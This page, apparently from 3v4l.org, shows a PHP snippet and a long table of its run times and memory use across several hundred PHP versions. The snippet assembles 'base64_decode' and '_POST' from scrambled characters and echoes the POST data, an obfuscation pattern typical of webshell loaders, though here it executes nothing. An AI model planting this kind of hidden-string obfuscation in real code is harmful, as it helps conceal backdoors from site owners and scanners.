3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF = "PCT4BA6ODSE_"; $s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); $s22 = $ { strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2]) }; echo $s22;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0170.00416.63
8.3.50.0100.00522.86
8.3.40.0150.00018.98
8.3.30.0030.01319.04
8.3.20.0000.00820.34
8.3.10.0040.00421.78
8.3.00.0080.00017.93
8.2.180.0140.00716.50
8.2.170.0070.00722.96
8.2.160.0100.00320.44
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0050.00321.03
8.2.110.0060.00322.07
8.2.100.0040.01117.84
8.2.90.0000.00919.17
8.2.80.0050.00317.97
8.2.70.0050.00317.63
8.2.60.0080.00017.93
8.2.50.0080.00018.07
8.2.40.0040.00418.22
8.2.30.0040.00418.00
8.2.20.0000.00717.78
8.2.10.0050.00218.23
8.2.00.0040.00417.62
8.1.280.0070.00725.92
8.1.270.0090.00023.79
8.1.260.0030.00526.35
8.1.250.0040.00428.09
8.1.240.0070.00323.74
8.1.230.0030.00719.00
8.1.220.0030.00617.79
8.1.210.0030.00618.77
8.1.200.0000.01217.23
8.1.190.0040.00417.22
8.1.180.0030.00518.10
8.1.170.0040.00418.65
8.1.160.0040.00422.06
8.1.150.0040.00418.92
8.1.140.0040.00417.44
8.1.130.0040.00419.45
8.1.120.0000.00717.49
8.1.110.0000.00917.51
8.1.100.0040.00417.50
8.1.90.0000.00717.31
8.1.80.0020.00517.47
8.1.70.0030.00317.38
8.1.60.0000.00817.55
8.1.50.0040.00417.52
8.1.40.0030.00617.40
8.1.30.0030.00617.48
8.1.20.0000.00817.66
8.1.10.0050.00217.64
8.1.00.0000.00717.52
8.0.300.0030.00618.77
8.0.290.0000.00816.75
8.0.280.0030.00318.50
8.0.270.0000.00717.25
8.0.260.0030.00317.13
8.0.250.0050.00217.05
8.0.240.0030.00516.89
8.0.230.0000.00816.95
8.0.220.0000.00716.92
8.0.210.0030.00317.04
8.0.200.0030.00317.02
8.0.190.0040.00417.05
8.0.180.0040.00416.87
8.0.170.0030.00616.87
8.0.160.0050.00516.87
8.0.150.0040.00316.93
8.0.140.0040.00417.01
8.0.130.0000.00513.38
8.0.120.0080.00016.93
8.0.110.0070.00016.88
8.0.100.0040.00416.91
8.0.90.0070.00016.90
8.0.80.0150.00016.91
8.0.70.0000.00817.02
8.0.60.0070.00016.78
8.0.50.0020.00516.82
8.0.30.0100.01017.11
8.0.20.0060.01617.40
8.0.10.0050.00317.10
8.0.00.0100.01116.76
7.4.330.0030.00315.02
7.4.320.0030.00316.50
7.4.300.0040.00416.59
7.4.290.0050.00316.65
7.4.280.0080.00016.50
7.4.270.0070.00016.63
7.4.260.0000.00716.55
7.4.250.0050.00216.57
7.4.240.0070.00016.51
7.4.230.0040.00416.49
7.4.220.0090.00916.47
7.4.210.0100.00716.67
7.4.200.0060.00016.70
7.4.160.0090.00616.58
7.4.150.0150.00317.40
7.4.140.0160.00717.86
7.4.130.0130.00316.45
7.4.120.0080.00816.57
7.4.110.0140.00416.38
7.4.100.0100.00716.44
7.4.90.0160.00816.75
7.4.80.0080.01619.39
7.4.70.0060.01116.41
7.4.60.0110.00616.42
7.4.50.0050.00016.40
7.4.40.0060.01516.53
7.4.30.0060.00916.34
7.4.10.0000.01814.84
7.4.00.0080.01015.07
7.3.330.0040.00413.29
7.3.320.0050.00013.23
7.3.310.0070.00016.26
7.3.300.0080.00016.44
7.3.290.0000.00716.20
7.3.280.0090.00716.34
7.3.270.0170.00017.40
7.3.260.0180.00616.32
7.3.250.0040.01316.43
7.3.240.0120.00916.41
7.3.230.0100.00716.51
7.3.210.0060.01316.38
7.3.200.0060.01219.39
7.3.190.0120.00916.50
7.3.180.0040.01116.55
7.3.170.0160.00016.40
7.3.160.0150.00616.30
7.3.130.0060.01015.09
7.3.120.0090.00914.82
7.3.110.0050.01114.99
7.3.100.0050.00814.78
7.3.90.0020.01114.76
7.3.80.0070.00414.73
7.3.70.0080.00914.87
7.3.60.0050.00814.89
7.3.50.0050.01114.98
7.3.40.0010.01314.90
7.3.30.0050.00714.81
7.3.20.0080.00816.52
7.3.10.0100.00616.78
7.3.00.0040.01116.73
7.2.330.0140.00316.81
7.2.320.0160.00416.38
7.2.310.0170.00616.61
7.2.300.0080.00816.78
7.2.290.0100.00616.77
7.2.260.0140.00414.94
7.2.250.0120.00714.93
7.2.240.0060.01015.01
7.2.230.0110.00515.02
7.2.220.0040.01015.19
7.2.210.0060.00714.76
7.2.200.0070.00815.00
7.2.190.0060.00814.95
7.2.180.0050.01015.11
7.2.170.0060.00914.84
7.2.160.0040.01414.87
7.2.150.0070.01116.91
7.2.140.0070.01116.78
7.2.130.0060.00916.82
7.2.120.0070.01416.77
7.2.110.0120.00616.84
7.2.100.0030.01016.99
7.2.90.0060.01017.13
7.2.80.0090.00616.84
7.2.70.0060.00916.80
7.2.60.0070.00717.08
7.2.50.0070.00717.03
7.2.40.0030.01317.03
7.2.30.0000.01016.78
7.2.20.0110.00416.55
7.2.10.0090.00916.84
7.2.00.0030.01016.80
7.1.330.0090.00515.89
7.1.320.0030.01215.88
7.1.310.0040.01115.76
7.1.300.0030.01115.76
7.1.290.0110.00515.75
7.1.280.0040.00815.69
7.1.270.0040.00915.78
7.1.260.0070.00515.99
7.1.250.0100.00315.65
7.1.240.0080.01115.87
7.1.230.0090.00615.95
7.1.220.0110.00015.56
7.1.210.0090.00615.89
7.1.200.0080.00315.72
7.1.190.0090.00015.78
7.1.180.0000.01415.48
7.1.170.0070.01115.90
7.1.160.0060.00615.80
7.1.150.0060.01015.93
7.1.140.0100.00615.65
7.1.130.0030.01715.73
7.1.120.0070.00315.73
7.1.110.0070.01015.82
7.1.100.0070.00517.00
7.1.90.0040.01115.85
7.1.80.0100.00315.80
7.1.70.0040.00416.47
7.1.60.0100.00817.68
7.1.50.0050.01116.30
7.1.40.0070.00415.70
7.1.30.0030.00715.57
7.1.20.0030.01015.70
7.1.10.0070.01015.68
7.1.00.0070.03818.98
7.0.330.0030.01015.38
7.0.320.0000.01515.59
7.0.310.0030.01015.49
7.0.300.0120.00415.43
7.0.290.0090.00015.41
7.0.280.0090.00615.54
7.0.270.0040.01515.44
7.0.260.0150.00015.44
7.0.250.0090.00315.46
7.0.240.0040.00415.23
7.0.230.0040.01115.19
7.0.220.0050.00815.46
7.0.210.0070.00715.55
7.0.200.0050.00715.97
7.0.190.0030.01015.34
7.0.180.0030.00715.24
7.0.170.0090.00315.35
7.0.160.0070.00715.52
7.0.150.0120.00315.57
7.0.140.0050.05218.78
7.0.130.0070.01315.49
7.0.120.0030.01015.52
7.0.110.0000.00915.25
7.0.100.0000.01315.56
7.0.90.0130.00315.46
7.0.80.0090.00615.45
7.0.70.0050.00515.55
7.0.60.0050.02517.58
7.0.50.0050.03716.67
7.0.40.0070.02716.70
7.0.30.0160.04716.81
7.0.20.0170.03016.84
7.0.10.0040.02816.82
7.0.00.0050.02916.82
5.6.400.0080.00414.21
5.6.390.0030.01014.43
5.6.380.0100.00714.64
5.6.370.0100.00314.24
5.6.360.0030.01014.05
5.6.350.0060.00614.52
5.6.340.0000.00914.05
5.6.330.0070.01014.48
5.6.320.0080.00814.50
5.6.310.0100.00314.32
5.6.300.0060.01014.31
5.6.290.0070.00714.50
5.6.280.0050.04017.57
5.6.270.0060.00614.50
5.6.260.0090.00914.41
5.6.250.0070.01014.39
5.6.240.0070.01314.23
5.6.230.0090.00614.39
5.6.220.0100.00714.54
5.6.210.0050.02217.36
5.6.200.0080.04316.32
5.6.190.0100.04617.46
5.6.180.0100.02717.65
5.6.170.0200.03717.56
5.6.160.0070.04617.28
5.6.150.0020.02516.34
5.6.140.0070.02416.22
5.6.130.0060.04516.14
5.6.120.0080.02317.51
5.6.110.0100.04017.79
5.6.100.0090.04717.70
5.6.90.0120.04417.44
5.6.80.0050.02517.41
5.6.70.0100.00314.56
5.6.60.0000.01314.39
5.6.50.0040.00414.00
5.6.40.0070.00313.96
5.6.30.0030.01014.36
5.6.20.0040.00414.35
5.6.10.0060.01214.09
5.6.00.0090.00614.26
5.5.380.0030.01614.13
5.5.370.0040.01114.36
5.5.360.0000.01414.32
5.5.350.0150.02117.31
5.5.340.0090.02415.88
5.5.330.0030.02917.15
5.5.320.0100.04917.30
5.5.310.0220.03017.36
5.5.300.0070.04516.29
5.5.290.0080.04316.02
5.5.280.0080.04317.41
5.5.270.0030.02517.69
5.5.260.0100.03917.37
5.5.250.0100.03517.35
5.5.240.0030.03717.07
5.5.230.0030.01114.22
5.5.220.0070.01014.25
5.5.210.0070.01014.29
5.5.200.0030.01013.89
5.5.190.0030.01014.21
5.5.180.0030.00914.36
5.5.170.0070.01414.03
5.5.160.0070.01313.85
5.5.150.0070.00714.10
5.5.140.0060.00614.10
5.5.130.0030.01014.09
5.5.120.0030.01314.28
5.5.110.0040.01114.33
5.5.100.0040.00814.26
5.5.90.0080.00014.33
5.5.80.0090.00613.93
5.5.70.0070.00714.28
5.5.60.0110.00414.25
5.5.50.0000.00914.00
5.5.40.0140.00013.94
5.5.30.0000.01114.06
5.5.20.0030.01314.25
5.5.10.0030.01114.23
5.5.00.0060.00813.73
5.4.450.0080.02515.31
5.4.440.0050.03015.25
5.4.430.0150.02015.15
5.4.420.0160.02215.11
5.4.410.0080.02415.22
5.4.400.0130.02015.04
5.4.390.0100.02314.91
5.4.380.0110.02315.02
5.4.370.0100.03614.90
5.4.360.0130.02714.81
5.4.350.0160.02314.94
5.4.340.0150.03514.94
5.4.330.0000.01410.93
5.4.320.0170.03414.93
5.4.310.0090.03714.87
5.4.300.0150.03215.07
5.4.290.0120.03015.02
5.4.280.0220.03514.93
5.4.270.0170.02914.94
5.4.260.0200.03315.02
5.4.250.0190.01714.88
5.4.240.0150.04214.99
5.4.230.0120.04015.04
5.4.220.0160.03615.19
5.4.210.0150.03015.02
5.4.200.0180.02514.89
5.4.190.0230.03214.92
5.4.180.0170.02715.05
5.4.170.0120.02415.02
5.4.160.0170.04015.01
5.4.150.0170.02814.97
5.4.140.0150.03713.65
5.4.130.0150.02813.69
5.4.120.0150.02513.65
5.4.110.0150.04113.74
5.4.100.0130.02513.76
5.4.90.0220.03313.71
5.4.80.0280.02313.80
5.4.70.0170.03313.41
5.4.60.0150.02013.52
5.4.50.0140.02513.71
5.4.40.0160.03113.61
5.4.30.0100.03213.59
5.4.20.0220.03413.56
5.4.10.0150.02313.55
5.4.00.0170.03713.27
5.3.290.0230.07014.61
5.3.280.0230.05314.43
5.3.270.0200.04014.55
5.3.260.0300.03314.55
5.3.250.0270.06314.54
5.3.240.0200.03714.46
5.3.230.0370.06314.47
5.3.220.0330.06714.52
5.3.210.0270.04014.40
5.3.200.0330.06714.61
5.3.190.0330.06714.59
5.3.180.0330.06314.43
5.3.170.0170.04714.42
5.3.160.0330.06714.39
5.3.150.0270.06714.61
5.3.140.0370.04314.50
5.3.130.0300.03314.44
5.3.120.0230.03714.50
5.3.110.0300.04714.48
5.3.100.0230.07313.88
5.3.90.0330.06714.11
5.3.80.0230.07713.89
5.3.70.0300.04713.96
5.3.60.0270.07313.95
5.3.50.0300.03714.03
5.3.40.0230.07014.04
5.3.30.0330.06313.93
5.3.20.0300.06713.53
5.3.10.0300.06313.45
5.3.00.0430.05313.58
5.2.170.0270.05312.09
5.2.160.0200.03712.09
5.2.150.0230.05712.09
5.2.140.0230.06312.09
5.2.130.0200.03712.09
5.2.120.0200.04012.09
5.2.110.0300.04312.09
5.2.100.0230.06012.09
5.2.90.0270.03012.09
5.2.80.0270.04712.09
5.2.70.0230.03312.09
5.2.60.0230.05312.09
5.2.50.0230.03312.09
5.2.40.0170.03012.09
5.2.30.0200.02712.09
5.2.20.0200.03712.09
5.2.10.0200.05312.09
5.2.00.0170.03312.09
5.1.60.0200.05012.09
5.1.50.0200.05012.09
5.1.40.0200.02712.09
5.1.30.0270.04312.09
5.1.20.0230.05312.09
5.1.10.0170.04312.09
5.1.00.0170.03712.09
5.0.50.0070.04712.09
5.0.40.0170.03312.09
5.0.30.0100.06312.09
5.0.20.0070.03312.09
5.0.10.0170.04012.09
5.0.00.0130.06012.09
4.4.90.0130.03012.09
4.4.80.0100.02012.09
4.4.70.0100.01712.09
4.4.60.0100.02712.09
4.4.50.0100.03312.09
4.4.40.0070.02712.09
4.4.30.0100.01712.09
4.4.20.0130.03012.09
4.4.10.0230.01712.09
4.4.00.0100.03712.09
4.3.110.0130.03012.09
4.3.100.0070.03012.09
4.3.90.0100.02012.09
4.3.80.0130.02712.09
4.3.70.0130.03012.09
4.3.60.0100.02712.09
4.3.50.0100.02312.09
4.3.40.0130.04712.09
4.3.30.0070.03712.09
4.3.20.0100.03312.09
4.3.10.0070.03712.09
4.3.00.0070.03312.09

preferences:
55.62 ms | 401 KiB | 5 Q